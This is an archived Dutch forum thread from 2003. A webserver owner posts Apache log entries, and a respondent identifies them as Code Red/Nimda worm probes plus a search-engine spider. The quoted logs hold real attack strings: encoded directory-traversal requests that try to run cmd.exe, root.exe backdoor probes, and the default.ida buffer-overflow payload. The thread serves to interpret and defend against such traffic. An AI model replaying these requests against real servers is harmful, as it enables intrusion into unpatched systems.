PDA

Bekijk Volledige Versie : webserver


cautje
24/06/03, 08:05
Beste Specialisten !

Kunnen jullie me uitleggen wat dit betekend in de log van mijn apache
webserver ?



213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 284
213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 282
213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292
213.65.2.20 - - [23/Jun/2003:23:06:29 +0200] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 292
213.65.2.20 - - [23/Jun/2003:23:06:29 +0200] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
213.65.2.20 - - [23/Jun/2003:23:06:30 +0200] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 323
213.65.2.20 - - [23/Jun/2003:23:06:33 +0200] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 323
213.65.2.20 - - [23/Jun/2003:23:06:33 +0200] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 339
213.65.2.20 - - [23/Jun/2003:23:06:34 +0200] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
213.65.2.20 - - [23/Jun/2003:23:06:34 +0200] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
213.65.2.20 - - [23/Jun/2003:23:06:34 +0200] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
213.65.2.20 - - [23/Jun/2003:23:06:34 +0200] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
213.65.2.20 - - [23/Jun/2003:23:06:34 +0200] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296
213.65.2.20 - - [23/Jun/2003:23:06:35 +0200] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 296
213.65.2.20 - - [23/Jun/2003:23:06:35 +0200] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306
213.65.2.20 - - [23/Jun/2003:23:06:36 +0200] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 306


en deze:

213.154.75.50 - - [24/Jun/2003:01:03:57 +0200] "GET
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd 3%u7801%u9090%u6858%ucbd3%
u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u5 3ff%u0078%u0000%u00=a
HTTP/1.0" 404 285
213.37.93.44 - - [24/Jun/2003:03:43:56 +0200] "GET /scripts/root.exe?/c+dir
HTTP/1.0" 404 284
24.223.0.17 - - [24/Jun/2003:03:55:02 +0200] "SEARCH / HTTP/1.1" 501 287
212.19.205.147 - - [24/Jun/2003:05:31:47 +0200] "GET /robots.txt HTTP/1.0"
404 295
212.19.205.147 - - [24/Jun/2003:05:31:50 +0200] "GET / HTTP/1.0" 200 62028


bedankt voor de hulp !

Rutger
Ronald Klip
24/06/03, 08:20
cautje schreef:
>
> Kunnen jullie me uitleggen wat dit betekend in de log van mijn apache
> webserver ?
>
> 213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 284
> 213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET /MSADC/root.exe?/c+dir
> HTTP/1.0" 404 282

[knip nog wat regels]

Dat is een bekende worm, op zoek naar bekende en gerepareerde zwakke
plekken in de software van een fabrikant uit Redmond, Wa.
Code Red, heette het beestje, of was het Nimda.

> 24.223.0.17 - - [24/Jun/2003:03:55:02 +0200] "SEARCH / HTTP/1.1" 501 287

Dat is wat anders...

> 212.19.205.147 - - [24/Jun/2003:05:31:47 +0200] "GET /robots.txt HTTP/1.0"
> 404 295
> 212.19.205.147 - - [24/Jun/2003:05:31:50 +0200] "GET / HTTP/1.0" 200 62028

Dat is de spider van een zoekmachine, die eerst netjes op zoek gaat naar
een robots.txt (zie http://www.robotstxt.org/wc/exclusion.html) en
vervolgens je indexpagina opvraagt.

--
groet, Ronald
cautje
24/06/03, 11:35
"Ronald Klip" <ronald@bladibla.njet> schreef in bericht
news:MPG.19620a45785876cd989ba2@nl-news.euro.net...
> cautje schreef:
> >
> > Kunnen jullie me uitleggen wat dit betekend in de log van mijn apache
> > webserver ?
> >
> > 213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET
/scripts/root.exe?/c+dir
> > HTTP/1.0" 404 284
> > 213.65.2.20 - - [23/Jun/2003:23:06:28 +0200] "GET /MSADC/root.exe?/c+dir
> > HTTP/1.0" 404 282
>
> [knip nog wat regels]
>
> Dat is een bekende worm, op zoek naar bekende en gerepareerde zwakke
> plekken in de software van een fabrikant uit Redmond, Wa.
> Code Red, heette het beestje, of was het Nimda.
>
> > 24.223.0.17 - - [24/Jun/2003:03:55:02 +0200] "SEARCH / HTTP/1.1" 501 287
>
> Dat is wat anders...
>
> > 212.19.205.147 - - [24/Jun/2003:05:31:47 +0200] "GET /robots.txt
HTTP/1.0"
> > 404 295
> > 212.19.205.147 - - [24/Jun/2003:05:31:50 +0200] "GET / HTTP/1.0" 200
62028
>
> Dat is de spider van een zoekmachine, die eerst netjes op zoek gaat naar
> een robots.txt (zie http://www.robotstxt.org/wc/exclusion.html) en
> vervolgens je indexpagina opvraagt.
>
> --
> groet, Ronald


Dus niets aan de hand !
Bedankt voor de snelle reactie !

groeten, Rutger